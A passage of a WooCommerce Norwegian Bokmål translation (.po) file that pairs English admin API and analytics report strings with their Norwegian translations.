#: src/Admin/API/OnboardingThemes.php:132
msgid "The requested theme `%s` could not be installed."
msgstr "Det forespurte temaet `%s` kunne ikke installeres."
#. translators: %s: theme slug (example: woocommerce-services)
#: src/Admin/API/OnboardingThemes.php:117
msgid "The requested theme `%s` could not be installed. Theme API call failed."
msgstr "Det forespurte temaet `%s` kunne ikke installeres. Tema API-kall mislyktes."
#: src/Admin/API/OnboardingThemes.php:72
msgid "Sorry, you cannot manage themes."
msgstr "Beklager, du kan ikke administrere temaer."
#: src/Admin/API/ProductVariations.php:168
msgid "Product parent name."
msgstr "Navn på forelderprodukt."
#: src/Admin/API/OnboardingProfile.php:463
msgid "Extra business extensions to install."
msgstr "Ekstra forretningsutvidelser å installere."
#: src/Admin/API/OnboardingProfile.php:452
msgid "Industry."
msgstr "Bransje."
#: src/Admin/API/OnboardingProfile.php:438
msgid "Whether or not the profile was completed."
msgstr "Hvorvidt profilen ble fullført eller ikke."
#: src/Admin/API/OnboardingProfile.php:245
msgid "Onboarding profile data has been updated."
msgstr "Onboarding profildata er oppdatert."
#: src/Admin/API/Notes.php:799
msgid "An array of actions, if any, for the note."
msgstr "En rekke handlinger, om noen, for meldingen."
#: src/Admin/API/Notes.php:793
msgid "Whether or not a user can request to be reminded about the note."
msgstr "Hvorvidt en bruker kan be om å bli minnet om notatet."
#: src/Admin/API/Notes.php:787
msgid "Date after which the user should be reminded of the note, if any (GMT)."
msgstr "Dato hvoretter brukeren skal bli minnet om notatet, hvis noen (GMT)."
#: src/Admin/API/Notes.php:781
msgid "Date after which the user should be reminded of the note, if any."
msgstr "Dato hvoretter brukeren skal bli minnet om notatet, hvis noen."
#: src/Admin/API/Notes.php:775
msgid "Date the note was created (GMT)."
msgstr "Dato da notatet ble opprettet (GMT)."
#: src/Admin/API/Notes.php:769
msgid "Date the note was created."
msgstr "Dato da notatet ble opprettet."
#: src/Admin/API/Notes.php:763
msgid "Source of the note."
msgstr "Kilde til notatet."
#: src/Admin/API/Notes.php:758
msgid "The status of the note (e.g. unactioned, actioned)."
msgstr "Status for meldingen (f.eks ubehandlet, behandlet)."
#: src/Admin/API/Notes.php:752
msgid "Content data for the note. JSON string. Available for re-localization."
msgstr "Innholdsdata for notatet. JSON-streng. Tilgjengelig for relokalisering."
#: src/Admin/API/Notes.php:746
msgid "Content of the note."
msgstr "Innholdet i notatet."
#: src/Admin/API/Notes.php:740
msgid "Title of the note."
msgstr "Tittel på notatet."
#: src/Admin/API/Notes.php:734
msgid "Locale used for the note title and content."
msgstr "Språk som brukes til notat-tittel og innhold."
#: src/Admin/API/Notes.php:728
msgid "The type of the note (e.g. error, warning, etc.)."
msgstr "Typen notat (f.eks. feil, advarsel osv.)."
#: src/Admin/API/Notes.php:722
msgid "Name of the note."
msgstr "Navnet på notatet."
#: src/Admin/API/Notes.php:716
msgid "ID of the note record."
msgstr "ID for notatet."
#: src/Admin/API/Notes.php:102 src/Admin/API/Notes.php:683
msgid "Status of note."
msgstr "Status for notatet."
#: src/Admin/API/Notes.php:673
msgid "Type of note."
msgstr "Type notat."
#. translators: %s: parameter name
#: src/Admin/API/Reports/TimeInterval.php:630
msgid "%s must contain 2 valid dates."
msgstr "%s må inneholde 2 gyldige datoer."
#. translators: %s: parameter name
#: src/Admin/API/Reports/TimeInterval.php:597
msgid "%s must contain 2 numbers."
msgstr "%s må inneholde 2 tall."
#. translators: 1: parameter name
#: src/Admin/API/Reports/TimeInterval.php:584
#: src/Admin/API/Reports/TimeInterval.php:617
msgid "%1$s is not a numerically indexed array."
msgstr "%1$s er ikke en numerisk indeksert matrise."
#: src/Admin/API/Reports/Customers/Stats/Controller.php:154
msgid "Average AOV per customer."
msgstr "Gjennomsnittlig ordreverdi pr. kunde."
#: src/Admin/API/Reports/Customers/Stats/Controller.php:147
msgid "Average total spend per customer."
msgstr "Gjennomsnittlig totalforbruk pr. kunde."
#: src/Admin/API/Reports/Customers/Stats/Controller.php:141
msgid "Average number of orders."
msgstr "Gjennomsnittlig antall ordrer."
#: src/Admin/API/Reports/Customers/Stats/Controller.php:135
msgid "Number of customers."
msgstr "Antall kunder."
#: includes/class-wc-countries.php:1312
#: src/Admin/API/Reports/Customers/Controller.php:552
msgid "Postal Code"
msgstr "Postnummer"
#: src/Admin/API/Reports/Customers/Controller.php:548
#: assets/client/admin/chunks/analytics-report-customers.js:1
msgid "AOV"
msgstr "AOV"
#: src/Admin/API/Reports/Customers/Controller.php:544
msgid "Sign Up"
msgstr "Registrer deg"
#: src/Admin/API/Reports/Customers/Controller.php:543
msgid "Last Active"
msgstr "Sist aktiv"
#: src/Admin/API/Reports/Customers/Controller.php:497
#: src/Admin/API/Reports/Customers/Stats/Controller.php:375
msgid "Limit result to items with specified customer ids."
msgstr "Begrens resultatet til elementer med spesifiserte kunde-ID-er."
#: src/Admin/API/Reports/Customers/Controller.php:491
#: src/Admin/API/Reports/Customers/Stats/Controller.php:369
msgid "Limit response to objects with last order after (or at) a given ISO8601 compliant datetime."
msgstr "Avgrens resultat til objekter med siste ordre etter (eller på) en gitt ISO8601-kompatibel datetime."
#: src/Admin/API/Reports/Customers/Controller.php:485
#: src/Admin/API/Reports/Customers/Stats/Controller.php:363
msgid "Limit response to objects with last order before (or at) a given ISO8601 compliant datetime."
msgstr "Avgrens resultat til objekter med siste ordre før (eller på) en gitt ISO8601-kompatibel datetime."
#: src/Admin/API/Reports/Customers/Controller.php:477
#: src/Admin/API/Reports/Customers/Stats/Controller.php:355
msgid "Limit response to objects with an average order spend between two given numbers."
msgstr "Avgrens resultat til objekter med et gjennomsnittlig ordreforbruk mellom to gitte tall."
#: src/Admin/API/Reports/Customers/Controller.php:472
#: src/Admin/API/Reports/Customers/Stats/Controller.php:350
msgid "Limit response to objects with an average order spend less than or equal to given number."
msgstr "Avgrens resultat til objekter med et gjennomsnittlig ordreforbruk mindre enn eller lik et gitt tall."
#: src/Admin/API/Reports/Customers/Controller.php:467
#: src/Admin/API/Reports/Customers/Stats/Controller.php:345
msgid "Limit response to objects with an average order spend greater than or equal to given number."
msgstr "Avgrens resultat til objekter med et gjennomsnittlig ordreforbruk større enn eller lik et gitt tall."
#: src/Admin/API/Reports/Customers/Controller.php:459
#: src/Admin/API/Reports/Customers/Stats/Controller.php:337
msgid "Limit response to objects with a total order spend between two given numbers."
msgstr "Avgrens resultat til objekter med et ordreforbruk mellom to gitte tall."
#: src/Admin/API/Reports/Customers/Controller.php:454
#: src/Admin/API/Reports/Customers/Stats/Controller.php:332
msgid "Limit response to objects with a total order spend less than or equal to given number."
msgstr "Avgrens resultat til objekter med et ordreforbruk mindre enn eller lik et gitt tall."
#: src/Admin/API/Reports/Customers/Controller.php:449
#: src/Admin/API/Reports/Customers/Stats/Controller.php:327
msgid "Limit response to objects with a total order spend greater than or equal to given number."
msgstr "Avgrens resultat til objekter med et ordreforbruk større enn eller lik et gitt tall."
#: src/Admin/API/Reports/Customers/Controller.php:441
#: src/Admin/API/Reports/Customers/Stats/Controller.php:319
msgid "Limit response to objects with an order count between two given integers."
msgstr "Avgrens resultat til objekter med en ordreantall mellom to gitte heltall."
#: src/Admin/API/Reports/Customers/Controller.php:435
#: src/Admin/API/Reports/Customers/Stats/Controller.php:313
msgid "Limit response to objects with an order count less than or equal to given integer."
msgstr "Avgrens resultat til objekter med en ordreantall mindre enn eller lik et gitt heltall."
#: src/Admin/API/Reports/Customers/Controller.php:429
#: src/Admin/API/Reports/Customers/Stats/Controller.php:307
msgid "Limit response to objects with an order count greater than or equal to given integer."
msgstr "Avgrens resultat til objekter med en ordreantall større enn eller lik et gitt heltall."
#: src/Admin/API/Reports/Customers/Controller.php:401
#: src/Admin/API/Reports/Customers/Controller.php:421
#: src/Admin/API/Reports/Customers/Stats/Controller.php:279
#: src/Admin/API/Reports/Customers/Stats/Controller.php:299
msgid "Limit response to objects last active between two given ISO8601 compliant datetime."
msgstr "Avgrens resultat til objekter som var sist aktiv mellom to gitte ISO8601-kompatible datetime."
#: src/Admin/API/Reports/Customers/Controller.php:395
#: src/Admin/API/Reports/Customers/Stats/Controller.php:273
msgid "Limit response to objects last active after (or at) a given ISO8601 compliant datetime."
msgstr "Avgrens resultat til objekter som var sist aktiv etter (eller på) en gitt ISO8601-kompatibel datetime."
#: src/Admin/API/Reports/Customers/Controller.php:389
#: src/Admin/API/Reports/Customers/Stats/Controller.php:267
msgid "Limit response to objects last active before (or at) a given ISO8601 compliant datetime."
msgstr "Avgrens resultat til objekter som var sist aktiv før (eller på) en gitt ISO8601-kompatibel datetime."
#: src/Admin/API/Reports/Customers/Controller.php:384
#: src/Admin/API/Reports/Customers/Stats/Controller.php:262
msgid "Limit response to objects excluding specific countries."
msgstr "Avgrens resultatet til objekter unntatt spesifiserte land."
#: src/Admin/API/Reports/Customers/Controller.php:379
#: src/Admin/API/Reports/Customers/Stats/Controller.php:257
msgid "Limit response to objects with specific countries."
msgstr "Avgrens resultatet til objekter med spesifiserte land."
#: src/Admin/API/Reports/Customers/Controller.php:374
#: src/Admin/API/Reports/Customers/Stats/Controller.php:252
msgid "Limit response to objects excluding emails."
msgstr "Avgrens resultatet til objekter unntatt e-poster."
#: src/Admin/API/Reports/Customers/Controller.php:369
#: src/Admin/API/Reports/Customers/Stats/Controller.php:247
msgid "Limit response to objects including emails."
msgstr "Avgrens resultatet til objekter inkludert e-poster."
#: src/Admin/API/Reports/Customers/Controller.php:364
#: src/Admin/API/Reports/Customers/Stats/Controller.php:242
msgid "Limit response to objects excluding specific usernames."
msgstr "Avgrens resultatet til objekter unntatt spesifiserte brukernavn."
#: src/Admin/API/Reports/Customers/Controller.php:359
#: src/Admin/API/Reports/Customers/Stats/Controller.php:237
msgid "Limit response to objects with specific usernames."
msgstr "Avgrens resultatet til objekter med spesifiserte brukernavn."
#: src/Admin/API/Reports/Customers/Controller.php:354
#: src/Admin/API/Reports/Customers/Stats/Controller.php:232
msgid "Limit response to objects excluding specific names."
msgstr "Avgrens resultatet til objekter unntatt spesifiserte navn."
#: src/Admin/API/Reports/Customers/Controller.php:349
#: src/Admin/API/Reports/Customers/Stats/Controller.php:227
msgid "Limit response to objects with specific names."
msgstr "Avgrens resultatet til objekter med spesifiserte navn."
#: src/Admin/API/Reports/Customers/Controller.php:333
#: src/Admin/API/Reports/Customers/Stats/Controller.php:211
msgid "Limit response to objects with a customer field containing the search term. Searches the field provided by `searchby`."
msgstr "Avgrens resultat til objekter med et kundefelt som inneholder søkeordet. Søker i feltet levert av `searchby`."
#: src/Admin/API/Reports/Customers/Controller.php:301
#: src/Admin/API/Reports/Customers/Controller.php:415
#: src/Admin/API/Reports/Customers/Stats/Controller.php:195
#: src/Admin/API/Reports/Customers/Stats/Controller.php:293
msgid "Limit response to objects registered after (or at) a given ISO8601 compliant datetime."
msgstr "Avgrens resultatet til objekter registrert etter (eller på) en gitt ISO8601-kompatibel datetime."
#: src/Admin/API/Reports/Customers/Controller.php:295
#: src/Admin/API/Reports/Customers/Controller.php:409
#: src/Admin/API/Reports/Customers/Stats/Controller.php:189
#: src/Admin/API/Reports/Customers/Stats/Controller.php:287
msgid "Limit response to objects registered before (or at) a given ISO8601 compliant datetime."
msgstr "Avgrens resultatet til objekter registrert før (eller på) en gitt ISO8601-kompatibel datetime."
#: src/Admin/API/Reports/Customers/Controller.php:277
msgid "Avg order value."
msgstr "Gjennomsnittlig ordreverdi."
#: src/Admin/API/Reports/Customers/Controller.php:271
msgid "Total spend."
msgstr "Total forbruk."
#: src/Admin/API/Reports/Customers/Controller.php:265
msgid "Order count."
msgstr "Antall ordre."
#: src/Admin/API/Reports/Customers/Controller.php:259
msgid "Date last active GMT."
msgstr "Dato sist aktiv GMT."
#: src/Admin/API/Reports/Customers/Controller.php:253
msgid "Date last active."
msgstr "Dato sist aktiv."
#: src/Admin/API/Reports/Customers/Controller.php:247
msgid "Date registered GMT."
msgstr "Dato registrert."
#: src/Admin/API/Reports/Customers/Controller.php:241
msgid "Date registered."
msgstr "Dato registrert."
#: src/Admin/API/Reports/Customers/Controller.php:229
msgid "Region."
msgstr "Region."
#: src/Admin/API/Reports/Customers/Controller.php:223
msgid "City."
msgstr "Poststed."
#: src/Admin/API/Reports/Customers/Controller.php:211
msgid "Username."
msgstr "Brukernavn."
#: src/Admin/API/Reports/Customers/Controller.php:205
msgid "Name."
msgstr "Navn."
#: src/Admin/API/Reports/Customers/Controller.php:199
msgid "User ID."
msgstr "Bruker-ID."
#. translators: %s is product name
#: src/Admin/API/Reports/Coupons/DataStore.php:192
#: src/Admin/API/Reports/Products/DataStore.php:275
#: assets/client/admin/chunks/analytics-report-downloads.js:1
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/admin/chunks/analytics-report-variations.js:1
msgid "(Deleted)"
msgstr "(Slettet)"
#. translators: %s is product name
#: src/Admin/API/Reports/Products/DataStore.php:275
msgid "%s (Deleted)"
msgstr "%s (Slettet)"
#: src/Admin/API/Reports/Products/Stats/Controller.php:158
#: src/Admin/API/Reports/Variations/Stats/Controller.php:162
msgid "Human readable segment label, either product or variation name."
msgstr "Menneskelig lesbar segmentetikett, enten produkt- eller variantnavn."
#: src/Admin/API/Reports/Products/Controller.php:246
#: src/Admin/API/Reports/Products/Stats/Controller.php:214
#: src/Admin/API/Reports/Variations/Stats/Controller.php:227
msgid "Limit result to items from the specified categories."
msgstr "Begrens resultatet til elementer fra de spesifiserte kategoriene."
#: src/Admin/API/Reports/Products/Controller.php:212
msgid "Product variations IDs."
msgstr "Produktvariant ID-er."
#: src/Admin/API/Reports/Products/Controller.php:188
msgid "Product category IDs."
msgstr "Produktkategori ID-er."
#: src/Admin/API/Reports/Orders/Stats/Controller.php:175
msgid "Number of distinct products sold."
msgstr "Antall produkter solgt."
#: src/Admin/API/Reports/Orders/Stats/Controller.php:145
#: assets/client/admin/chunks/2304.js:1
msgid "Average items per order"
msgstr "Gjennomsnittlig antall produkt per ordre"
#: src/Admin/API/Reports/Orders/Stats/Controller.php:137
msgid "Average order value."
msgstr "Gjennomsnittlig ordrebeløp."
#: src/Admin/API/Reports/Orders/Controller.php:468
#: assets/client/admin/chunks/analytics-report-orders.js:1
msgid "Product(s)"
msgstr "Produkt(er)"
#. translators: 1: numeric product quantity, 2: name of product
#: src/Admin/API/Reports/Orders/Controller.php:436
#: assets/client/admin/chunks/analytics-report-orders.js:1
msgid "%1$s× %2$s"
msgstr "%1$s× %2$s"
#: src/Admin/API/Reports/Orders/Controller.php:355
#: src/Admin/API/Reports/Orders/Stats/Controller.php:341
msgid "Limit result set to specific types of refunds."
msgstr "Avgrens resultat til bestemte typer refusjoner."
#: src/Admin/API/Reports/Orders/Controller.php:344
msgid "Limit result set to returning or new customers."
msgstr "Avgrens resultat til returnerende eller tilbakevendende kunder."
#: src/Admin/API/Reports/Orders/Controller.php:314
#: src/Admin/API/Reports/Orders/Stats/Controller.php:313
msgid "Limit result set to items that don't have the specified tax rate(s) assigned."
msgstr "Avgrens resultat til produkter som ikke har de bestemte avgiftssatsene tilordnet."
#: src/Admin/API/Reports/Orders/Controller.php:304
#: src/Admin/API/Reports/Orders/Stats/Controller.php:303
msgid "Limit result set to items that have the specified tax rate(s) assigned."
msgstr "Avgrens resultat til produkter som har de bestemte avgiftssatsene tilordnet."
#: src/Admin/API/Reports/Orders/Controller.php:294
#: src/Admin/API/Reports/Orders/Stats/Controller.php:294
msgid "Limit result set to items that don't have the specified coupon(s) assigned."
msgstr "Avgrens resultat til elementer som ikke har angitt(e) rabattkode(r) tilordnet."
#: src/Admin/API/Reports/Orders/Controller.php:284
#: src/Admin/API/Reports/Orders/Stats/Controller.php:285
msgid "Limit result set to items that have the specified coupon(s) assigned."
msgstr "Avgrens resultat til elementer som har angitt(e) rabattkode(r) tilordnet."
#: src/Admin/API/Reports/Orders/Controller.php:213
msgid "Order customer information."
msgstr "Kundeinformasjon."
#: src/Admin/API/Reports/Orders/Controller.php:207
msgid "List of order coupons."
msgstr "Liste over rabattkoder i ordrer."
#: src/Admin/API/Reports/Orders/Controller.php:201
msgid "List of order product IDs, names, quantities."
msgstr "Liste over ordreprodukt-IDer, navn, antall."
#: src/Admin/API/Reports/Orders/Controller.php:191
msgid "Returning or new customer."
msgstr "Tilbakevendende eller ny kunde."
#: src/Admin/API/Reports/Orders/Controller.php:179
msgid "Net total revenue."
msgstr "Netto totale inntekter."
#: src/Admin/API/Reports/Orders/Controller.php:155
msgid "Date the order was created, as GMT."
msgstr "Dato da ordren ble opprettet, i GMT."
#: src/Admin/API/Reports/Orders/Controller.php:149
msgid "Date the order was created, in the site's timezone."
msgstr "Dato da ordren ble opprettet, i nettstedets tidssone."
#: src/Admin/API/Reports/Import/Controller.php:238
msgid "All pending and in-progress import actions have been cancelled."
msgstr "Alle ventende og pågående importhandlinger er avbrutt."
#: src/Admin/API/Reports/Import/Controller.php:189
msgid "Skip importing existing order data."
msgstr "Hopp over import av eksisterende ordredata."
#: src/Admin/API/Reports/Import/Controller.php:182
msgid "Number of days to import."
msgstr "Antall dager som skal importeres."
#: src/Admin/API/Reports/Downloads/Stats/DataStore.php:125
#: src/Admin/API/Reports/Downloads/Stats/DataStore.php:142
msgid "Sorry, fetching downloads data failed."
msgstr "Beklager, henting av nedlastingsdata mislyktes."
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:262
msgid "Limit response to objects that don't have the specified customer ids."
msgstr "Avgrens resultat til objekter som ikke har de spesifiserte bruker-ID'ene."
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:253
msgid "Limit response to objects that have the specified customer ids."
msgstr "Avgrens resultat til objekter som har de spesifiserte bruker-ID'ene."
#: src/Admin/API/Reports/Customers/Controller.php:323
#: src/Admin/API/Reports/Customers/Stats/Controller.php:201
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:206
#: src/Admin/API/Reports/Orders/Stats/Controller.php:214
#: src/Admin/API/Reports/Products/Controller.php:255
#: src/Admin/API/Reports/Variations/Controller.php:259
#: src/Admin/API/Reports/Variations/Stats/Controller.php:204
msgid "Indicates whether all the conditions should be true for the resulting set, or if any one of them is sufficient. Match affects the following parameters: status_is, status_is_not, product_includes, product_excludes, coupon_includes, coupon_excludes, customer, categories"
msgstr "Angir om alle betingelsene skal være oppfylt for det resulterende settet, eller om noen av dem er tilstrekkelig. Samsvar påvirker følgende parametere: status_is, status_is_not, product_includes, product_excludes, coupon_includes, coupon_excludes, kunde, kategorier"
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:107
msgid "Number of downloads."
msgstr "Antall nedlastinger."
#: src/Admin/API/Reports/Downloads/Controller.php:326
#: assets/client/admin/chunks/analytics-report-downloads.js:1
msgid "IP"
msgstr "IP"
#: src/Admin/API/Reports/Downloads/Controller.php:325
msgid "User Name"
msgstr "Brukernavn"
#: src/Admin/API/Reports/Downloads/Controller.php:324
#: src/Admin/API/Reports/Orders/Controller.php:463
#: assets/client/admin/chunks/analytics-report-downloads.js:1
#: assets/client/admin/chunks/analytics-report-orders.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
msgid "Order #"
msgstr "Ordrenr. "
#: src/Admin/API/Reports/Downloads/Controller.php:303
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:280
msgid "Limit response to objects that don't have a specified ip address."
msgstr "Avgrens resultat til objekter som ikke har en angitt ip-adresse."
#: src/Admin/API/Reports/Downloads/Controller.php:295
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:271
msgid "Limit response to objects that have a specified ip address."
msgstr "Avgrens resultat til objekter som har en angitt IP-adresse."
#: src/Admin/API/Reports/Downloads/Controller.php:286
msgid "Limit response to objects that don't have the specified user ids."
msgstr "Avgrens resultat til objekter som ikke har de spesifiserte bruker-IDene."
#: src/Admin/API/Reports/Downloads/Controller.php:277
msgid "Limit response to objects that have the specified user ids."
msgstr "Avgrens resultat til objekter som har de spesifiserte bruker-IDene."
#: src/Admin/API/Reports/Downloads/Controller.php:268
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:244
#: src/Admin/API/Reports/Orders/Controller.php:384
msgid "Limit result set to items that don't have the specified order ids."
msgstr "Avgrens resultat til elementer som ikke har de spesifiserte ordre-ID'ene."
#: src/Admin/API/Reports/Downloads/Controller.php:259
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:235
#: src/Admin/API/Reports/Orders/Controller.php:375
msgid "Limit result set to items that have the specified order ids."
msgstr "Avgrens resultat til elementer som har de spesifiserte ordre-ID'ene."
#: src/Admin/API/Reports/Downloads/Controller.php:249
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:226
#: src/Admin/API/Reports/Orders/Controller.php:254
#: src/Admin/API/Reports/Orders/Stats/Controller.php:255
msgid "Limit result set to items that don't have the specified product(s) assigned."
msgstr "Avgrens resultat til elementer som ikke har de bestemte produkter tilordnet."
#: src/Admin/API/Reports/Downloads/Controller.php:239
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:216
#: src/Admin/API/Reports/Orders/Controller.php:244
#: src/Admin/API/Reports/Orders/Stats/Controller.php:245
msgid "Limit result set to items that have the specified product(s) assigned."
msgstr "Avgrens resultat til elementer som ikke har de bestemte produkter tilordnet."
#: src/Admin/API/Reports/Downloads/Controller.php:229
msgid "Indicates whether all the conditions should be true for the resulting set, or if any one of them is sufficient. Match affects the following parameters: products, orders, username, ip_address."
msgstr "Angir om alle betingelsene skal være oppfylt for det resulterende settet, eller om noen av dem er tilstrekkelig. Samsvar påvirker følgende parametere: produkter, ordre, brukernavn, ip_address."
#: src/Admin/API/Reports/Downloads/Controller.php:207
msgid "IP address for the downloader."
msgstr "IP-adresse til den som laster ned."
#: src/Admin/API/Reports/Downloads/Controller.php:201
msgid "User name of the downloader."
msgstr "Brukernavn til den som laster ned."
#: src/Admin/API/Reports/Downloads/Controller.php:195
msgid "User ID for the downloader."
msgstr "Bruker-ID til den som laster ned."
#: src/Admin/API/Reports/Downloads/Controller.php:189
#: src/Admin/API/Reports/Orders/Controller.php:143
msgid "Order Number."
msgstr "Ordrenummer."
#: src/Admin/API/Reports/Downloads/Controller.php:156
msgid "The date of the download, as GMT."
msgstr "Datoen for nedlastingen, i GMT."
#: src/Admin/API/Reports/Downloads/Controller.php:150
msgid "The date of the download, in the site's timezone."
msgstr "Datoen for nedlastingen, i nettstedets tidssone."
#. translators: Stock status. Example: "Number of low stock products
#: src/Admin/API/Reports/Stock/Stats/Controller.php:105
msgid "Number of %s products."
msgstr "Antall %s produkter."
#: src/Admin/API/Reports/Stock/Stats/Controller.php:94
msgid "Number of low stock products."
msgstr "Antall produkter med lite på lager."
#: src/Admin/API/Reports/Stock/Controller.php:494
#: assets/client/admin/chunks/analytics-report-stock.js:1
msgid "Product / Variation"
msgstr "Produkt / Variant"
#: src/Admin/API/Reports/Stock/Controller.php:478
msgid "Limit result set to items assigned a stock report type."
msgstr "Avgrens resultatet til produkter som er tilordnet en lagerrapporttype."
#: src/Admin/API/Reports/Stock/Controller.php:403
msgid "Manage stock."
msgstr "Administrere lager."
#: src/Admin/API/Reports/Stock/Controller.php:390
msgid "Stock status."
msgstr "Lagerstatus."
#. translators: Allowed values is a list of stat endpoints.
#: src/Admin/API/Reports/PerformanceIndicators/Controller.php:667
msgid "Limit response to specific report stats. Allowed values: %s."
msgstr "Avgrens resultat til spesifikk rapportstatistikk. Tillatte verdier: %s."
#: src/Admin/API/Reports/PerformanceIndicators/Controller.php:657
msgid "There was an issue loading the report endpoints"
msgstr "Det oppsto et problem under innlasting av rapportens sluttpunkter"
#: src/Admin/API/Reports/PerformanceIndicators/Controller.php:626
msgid "Value of the stat. Returns null if the stat does not exist or cannot be loaded."
msgstr "Verdien av statistikken. Returnerer null hvis statistikken ikke eksisterer eller ikke kan lastes."
#: src/Admin/API/Reports/PerformanceIndicators/Controller.php:619
msgid "Format of the stat."
msgstr "Format på statistikken."
#: src/Admin/API/Reports/PerformanceIndicators/Controller.php:613
msgid "Human readable label for the stat."
msgstr "Menneskelig lesbar etikett for statistikken."
#: src/Admin/API/Reports/PerformanceIndicators/Controller.php:607
msgid "The specific chart this stat referrers to."
msgstr "Det spesifikke diagrammet statistikken refererer til."
#: src/Admin/API/Reports/PerformanceIndicators/Controller.php:411
msgid "A list of stats to query must be provided."
msgstr "En liste over statistikker som skal spørres, må være gitt."
#: includes/admin/class-wc-admin-dashboard.php:556
#: src/Admin/API/Reports/PerformanceIndicators/Controller.php:147
msgid "Sorry, fetching performance indicators failed."
msgstr "Beklager, henting av resultatindikatorer mislyktes."
#: src/Admin/API/Reports/Products/Controller.php:325
#: src/Admin/API/Reports/Variations/Controller.php:375
msgid "N. Revenue"
msgstr "Netto inntekt"
#: src/Admin/API/Reports/Variations/Controller.php:372
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/admin/chunks/analytics-report-variations.js:1
msgid "Product / Variation title"
msgstr "Produkt / Variant tittel"
#: src/Admin/API/Reports/Products/Controller.php:275
msgid "Add additional piece of info about each product to the report."
msgstr "Legg til ytterligere informasjon om hvert produkt i rapporten."
#: src/Admin/API/Reports/Products/Stats/Controller.php:232
#: src/Admin/API/Reports/Variations/Controller.php:289
#: src/Admin/API/Reports/Variations/Stats/Controller.php:265
msgid "Limit result to items with specified variation ids."
msgstr "Avgrens resultat til elementer med angitte variant-ID'er."
#: src/Admin/API/Reports/Products/Controller.php:265
#: src/Admin/API/Reports/Products/Stats/Controller.php:223
#: src/Admin/API/Reports/Variations/Controller.php:341
msgid "Limit result to items with specified product ids."
msgstr "Avgrens resultat til elementer med angitte produkt-ID'er."
#: src/Admin/API/Reports/Products/Controller.php:206
#: src/Admin/API/Reports/Variations/Controller.php:233
msgid "Product inventory threshold for low stock."
msgstr "Produkt lagerterskel for lite på lager."
#: src/Admin/API/Reports/Products/Controller.php:200
#: src/Admin/API/Reports/Variations/Controller.php:227
msgid "Product inventory quantity."
msgstr "Produkt lagerantall."
#: src/Admin/API/Reports/Products/Controller.php:194
#: src/Admin/API/Reports/Variations/Controller.php:221
msgid "Product inventory status."
msgstr "Produkt lagerstatus."
#: src/Admin/API/Reports/Variations/Controller.php:215
msgid "Product attributes."
msgstr "Produktattributter."
#: src/Admin/API/Reports/Products/Controller.php:182
#: src/Admin/API/Reports/Variations/Controller.php:209
msgid "Product link."
msgstr "Produktlenke."
#: src/Admin/API/Reports/Products/Controller.php:176
#: src/Admin/API/Reports/Variations/Controller.php:203
msgid "Product image."
msgstr "Produktbilde."
#: src/Admin/API/Reports/Products/Controller.php:157
#: src/Admin/API/Reports/Variations/Controller.php:184
msgid "Number of orders product appeared in."
msgstr "Antall ordre produktet dukket opp i."
#: src/Admin/API/Reports/Products/Controller.php:151
#: src/Admin/API/Reports/Variations/Controller.php:178
msgid "Total Net sales of all items sold."
msgstr "Totalt nettosalg for alle solgte elementer."
#: src/Admin/API/Reports/Orders/Controller.php:173
#: src/Admin/API/Reports/Products/Controller.php:145
#: src/Admin/API/Reports/Variations/Controller.php:172
msgid "Number of items sold."
msgstr "Antall produkter solgt."
#: src/Admin/API/Reports/Taxes/Stats/DataStore.php:235
msgid "Sorry, fetching tax data failed."
msgstr "Beklager, henting av avgiftsdata mislyktes."
#: src/Admin/API/Reports/Taxes/Stats/Controller.php:199
msgid "Limit result set to all items that have the specified term assigned in the taxes taxonomy."
msgstr "Avgrens resultat til alle elementer som har det spesifiserte vilkåret tilordnet i kategori-taksonomien."
#: src/Admin/API/Reports/Taxes/Stats/Controller.php:162
msgid "Amount of tax codes."
msgstr "Antall avgiftskoder."
#: src/Admin/API/Reports/Taxes/Controller.php:234
#: assets/client/admin/chunks/analytics-report-taxes.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
msgid "Shipping tax"
msgstr "Frakt MVA"
#: src/Admin/API/Reports/Taxes/Controller.php:233
#: assets/client/admin/chunks/analytics-report-taxes.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
msgid "Order tax"
msgstr "Ordre mva"
#: src/Admin/API/Reports/Taxes/Controller.php:230
#: assets/client/admin/chunks/analytics-report-taxes.js:1
msgid "Tax code"
msgstr "Avgiftskode"
#: src/Admin/API/Reports/Taxes/Controller.php:211
msgid "Limit result set to items assigned one or more tax rates."
msgstr "Avgrens resultatet til produkter som er tilordnet én eller flere avgiftssatser."
#: src/Admin/API/Reports/Taxes/Controller.php:173
#: src/Admin/API/Reports/Taxes/Stats/Controller.php:148
msgid "Shipping tax."
msgstr "Frakt mva."
#: src/Admin/API/Reports/Taxes/Controller.php:167
#: src/Admin/API/Reports/Taxes/Stats/Controller.php:140
msgid "Order tax."
msgstr "Ordre mva."
#: src/Admin/API/Reports/Taxes/Controller.php:161
#: src/Admin/API/Reports/Taxes/Stats/Controller.php:132
msgid "Total tax."
msgstr "Total mva."
#: src/Admin/API/Reports/Taxes/Controller.php:155
msgid "Priority."
msgstr "Prioritet."
#: src/Admin/API/Reports/Taxes/Controller.php:149
msgid "State."
msgstr "Delstat."
#: src/Admin/API/Reports/Customers/Controller.php:217
#: src/Admin/API/Reports/Taxes/Controller.php:143
msgid "Country / Region."
msgstr "Land / region."
#: src/Admin/API/Reports/Categories/DataStore.php:282
#: src/Admin/API/Reports/Orders/Stats/DataStore.php:360
#: src/Admin/API/Reports/Orders/Stats/DataStore.php:410
#: src/Admin/API/Reports/Products/Stats/DataStore.php:205
#: src/Admin/API/Reports/Products/Stats/DataStore.php:222
#: src/Admin/API/Reports/Taxes/Stats/DataStore.php:199
#: src/Admin/API/Reports/Variations/Stats/DataStore.php:227
#: src/Admin/API/Reports/Variations/Stats/DataStore.php:245
msgid "Sorry, fetching revenue data failed."
msgstr "Beklager, henting av inntektsdata mislyktes."
#: src/Admin/API/Reports/Categories/Controller.php:228
msgid "Add additional piece of info about each category to the report."
